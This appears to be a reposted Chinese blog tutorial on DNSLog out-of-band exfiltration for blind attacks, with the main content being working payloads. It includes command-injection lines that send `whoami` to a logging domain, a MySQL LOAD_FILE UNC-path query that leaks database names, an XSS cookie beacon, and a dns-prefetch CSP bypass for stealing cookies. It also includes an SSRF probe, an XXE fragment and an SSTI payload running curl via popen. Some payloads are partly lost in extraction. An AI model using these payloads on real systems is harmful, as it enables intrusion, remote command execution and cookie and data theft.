热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

DNSLog盲注总结

目录前言:(一)DNSLog部署过程(二)命令执行(三)SQLUNC路径

目录

前言:

(一)DNSLog部署过程

(二)命令执行

(三)SQL

UNC路径

(四)XSS

 绕过CSP

举个栗子

(五)SSRF

 (六)XXE

(七)模板注入

参考资料




前言:


总所周知,我们输入的域名需要通过DNS服务器进行解析得到IP地址才能通过IP访问网站,DNSLog就是存储在DNS服务器上的域名信息,它记录着用户对域名访问的信息,类似日志文件。我们只需要搭建一个的DNS服务器,并将要盲打或盲注的回显,放到自己域名的二级三级甚至更多级的子域名上去请求,就可以通过DNS解析日志来获取到它们。


漏洞扫描(kali beef-xss、DNSlog、CSRF、SSRF)__Cyber的博客-CSDN博客_kali扫描xss


(一)DNSLog部署过程




  1. 申请一个域名,如 xie.com
  2. 在我们的VPS上安装并配置DNS服务器
  3. 将 xie.com 的DNS服务器设置为我们的VPS地址

这样,所有访问 xie.com 的二级三级四级等等子域名都会被解析到我们的VPS上。我们就可以通过查询DNS解析记录来获得命令执行的回显了。


由于申请域名需要钱还要进行部署,十分麻烦,我们可以利用一些在线的DNSLog平台:

http://ceye.iohttp://www.dnslog.cn

这里我们取得一个DNS域名

t6n089.ceye.io

(二)命令执行




无回显得命令执行语句可以使用DNSLog来查看结果。



  • window

ping %USERNAME%.t6n089.ceye.io


  •  *nix

ping `whoami`.t6n089.ceye.io


 都可以看到我们的用户名显示在域名的最左边



(三)SQL




通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。先show variables like '%secure%';查看load_file()可以读取的磁盘。


mysql> show variables like '%secure%';
+--------------------------+-------+
| Variable_name | Value |
+--------------------------+-------+
| require_secure_transport | OFF |
| secure_auth | ON |
| secure_file_priv | NULL |
+--------------------------+-------+
3 rows in set, 1 warning (0.01 sec)

  • 当secure_file_priv为空,就可以读取磁盘的目录。
  • 当secure_file_priv为G:\,就可以读取G盘的文件。
  • 当secure_file_priv为null,load_file就不能加载文件。

这里为NULL,因此需要在my.ini配置文件中修改权限,把配置文件中的这一行改为(没有就加上):


secure_file_priv=""

UNC路径



以下是百度的UNC路径的解释


UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。


其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式\\sss.xxx\test\

(这也就解释了为什么CONCAT()函数拼接了4个\了,因为转义的原因,4个就变\成了2个\,目的就是利用UNC路径)

因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据

payload:

SELECT LOAD_FILE(CONCAT('\\\\',(查询语句),'.t6n089.ceye.io\\abc'));

例如:

在本地搭建了一个SQL注入的环境,在XP系统上似乎不行,原因未知,而在WIN10能够成功执行。

http://127.0.0.1:81/db.php?id=' and (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.t6n089.ceye.io\\abc')))--+

(四)XSS




对于没有回显的XSS,我们要想知道是否成功也可以利用src属性填入得到的域名。


payload:

http://127.0.0.1:81/sql.php?input=>


 绕过CSP




CSP(内容安全策略)是防御XSS最有效的手段之一。当我们发现一个网站有XSS漏洞,想利用XSS平台来打COOKIE时,CSP会通过白名单的方式,禁止跨域加载脚本,恶意代码便会因此被阻挡在门外,导致此XSS无法利用。对此,我们可以使用DNS预解析突破CSP的阻拦。


DNS预解析(DNS Prefetching)是一种能够加快网页加载速度的技术,对于跨站的链接,由于每次都要进行一次DNS解析,会消耗掉很多时间。DNS预解析在浏览器空闲时,将跨站资源的域名转化为IP 地址并缓存,真正请求资源时就避免了解析的时间。有趣的是,DNS预解析是默认开启的,并且我们可以通过rel="dns-prefetch"来强制进行DNS预解析。由于DNS预解析可以绕过CSP进行解析,结合DNSLOG,我们即可窃取在CSP保护下的COOKIE。


举个栗子



网站的源码:

setCOOKIE("test","test",time()+3600);
?>









$xss = $_GET['input'];
echo '你输入的字符为
'.$xss;
$myfile = fopen("./set_COOKIE.js", "w") or die("Unable to open file!");
fwrite($myfile, $xss);
fclose($myfile);
?>

这里网站通过标签设置了CSP为只能加载当前域名的脚本,也就是说无法使用内联的脚本,攻击者需要找到能够注入XSS的Javascript脚本的外联文件,这里我们可以看到后端把我们输入的值写入了set_COOKIE.js文件中,然后又通过外联脚本引入了这个文件,这样我们就可以通过这里来进行XSS攻击。

在没有CSP情况下,我们通常是通过等有src属性的标签带上COOKIE作为参数去访问我们的服务器:

var img = document.createElement("img");
img.src = "http://t6n089.ceye.io/log?"+escape(document.COOKIE);
document.body.appendChild(img);

由于这里有CSP限制了不能读取外部的资源,因此这里会报错。

 这里我们就可以使用DNS预解析去进行绕过:


payload:


?input=document.querySelector('body').innerHTML="";

URL编码后:

?input=document.querySelector('body').innerHTML%3D%22%3Clink%20rel%3D'dns-prefetch'%20href%3D'http%3A%2F%2F%22%2Bdocument.COOKIE.split(%2F%3B%7C%3D%2F)%5B0%5D.trim()%2B%22.t6n089.ceye.io'%3E%22%3B


 这种利用方法十分苛刻,因为不仅要找到能够修改后台的外联Javascript文件的方法,而且作为XSS攻击,此payload过长,容易被怀疑,而使用短链接加载外部脚本有会被CSP禁止,再加上根据DNS的规定,域名的长度是有限制的,有时可能不发将长COOKIE完全带出。



(五)SSRF




一个没有回显的SSRF场景,我们同样可以通过DNSLog知道是否存在漏洞


example:

http://127.0.0.1:81/sql.php?url=http://ssrf.t6n089.ceye.io


 (六)XXE




当我们遇到XXE,如果这个XXE漏洞可以解析外部实体,那么不用说,就可以拿来读取本地服务器文件,这时,我们只需把dtd文件改成这样



%remote;]>
666

就可以通过DNS服务器来查看是否存在XXE漏洞


(七)模板注入




在模板注入碰到盲注的时候可以使用


{% if ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']("curl `whoami`.t6n089.ceye.io").read()=='ssti' %}1{% endif %}

 


参考资料



巧用DNSlog实现实现无回显注入

Bypassing Content-Security-Policy with DNS prefetching

使用DNSLOG获取漏洞的回显


推荐阅读
  • 本文档提供了详细的MySQL安装步骤,包括解压安装文件、选择安装类型、配置MySQL服务以及设置管理员密码等关键环节,帮助用户顺利完成MySQL的安装。 ... [详细]
  • 深入探讨Web服务器与动态语言的交互机制:CGI、FastCGI与PHP-FPM
    本文详细解析了Web服务器(如Apache、Nginx等)与动态语言(如PHP)之间通过CGI、FastCGI及PHP-FPM进行交互的具体过程,旨在帮助开发者更好地理解这些技术背后的原理。 ... [详细]
  • 时序数据是指按时间顺序排列的数据集。通过时间轴上的数据点连接,可以构建多维度报表,揭示数据的趋势、规律及异常情况。 ... [详细]
  • 本文详细介绍了在 Windows 7 上安装和配置 PHP 5.4 的 Memcached 分布式缓存系统的方法,旨在减少数据库的频繁访问,提高应用程序的响应速度。 ... [详细]
  • 本文详细介绍如何在Spring Boot项目中集成和使用JPA,涵盖JPA的基本概念、Spring Data JPA的功能以及具体的操作步骤,帮助开发者快速掌握这一强大的持久化技术。 ... [详细]
  • 酷家乐 Serverless FaaS 产品实践探索
    本文探讨了酷家乐在 Serverless FaaS 领域的实践与经验,重点介绍了 FaaS 平台的构建、业务收益及未来发展方向。 ... [详细]
  • 帝国cms各数据表有什么用
    CMS教程|帝国CMS帝国cmsCMS教程-帝国CMS精易编程助手源码,ubuntu桥接设置,500错误是tomcat吗,爬虫c原理,php会话包括什么,营销seo关键词优化一般多 ... [详细]
  • 本文介绍了多种Eclipse插件,包括XML Schema Infoset Model (XSD)、Graphical Editing Framework (GEF)、Eclipse Modeling Framework (EMF)等,涵盖了从Web开发到图形界面编辑的多个方面。 ... [详细]
  • 本文介绍了如何使用Workman框架构建一个功能全面的即时通讯系统,该系统不仅支持一对一聊天、群组聊天,还集成了视频会议和实时音视频通话功能,同时提供了红包发送等附加功能。 ... [详细]
  • 深入浅出:Hadoop架构详解
    Hadoop作为大数据处理的核心技术,包含了一系列组件如HDFS(分布式文件系统)、YARN(资源管理框架)和MapReduce(并行计算模型)。本文将通过实例解析Hadoop的工作原理及其优势。 ... [详细]
  • 本文详细介绍了Oracle RMAN中的增量备份机制,重点解析了差异增量和累积增量备份的概念及其在不同Oracle版本中的实现。通过对比两种备份方式的特点,帮助读者选择合适的备份策略。 ... [详细]
  • 本文详细解析 Skynet 的启动流程,包括配置文件的读取、环境变量的设置、主要线程的启动(如 timer、socket、monitor 和 worker 线程),以及消息队列的实现机制。 ... [详细]
  • J2EE平台集成了多种服务、API和协议,旨在支持基于Web的多层应用开发。本文将详细介绍J2EE平台中的13项关键技术规范,涵盖从数据库连接到事务处理等多个方面。 ... [详细]
  • 本文档提供了首次周测的答案解析,涵盖特殊符号、命令作用、路径说明以及实战练习等内容。 ... [详细]
  • RabbitMQ 核心组件解析
    本文详细介绍了RabbitMQ的核心概念,包括其基本原理、应用场景及关键组件,如消息、生产者、消费者、信道、交换机、路由键和虚拟主机等。 ... [详细]
author-avatar
逺續ken_372
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有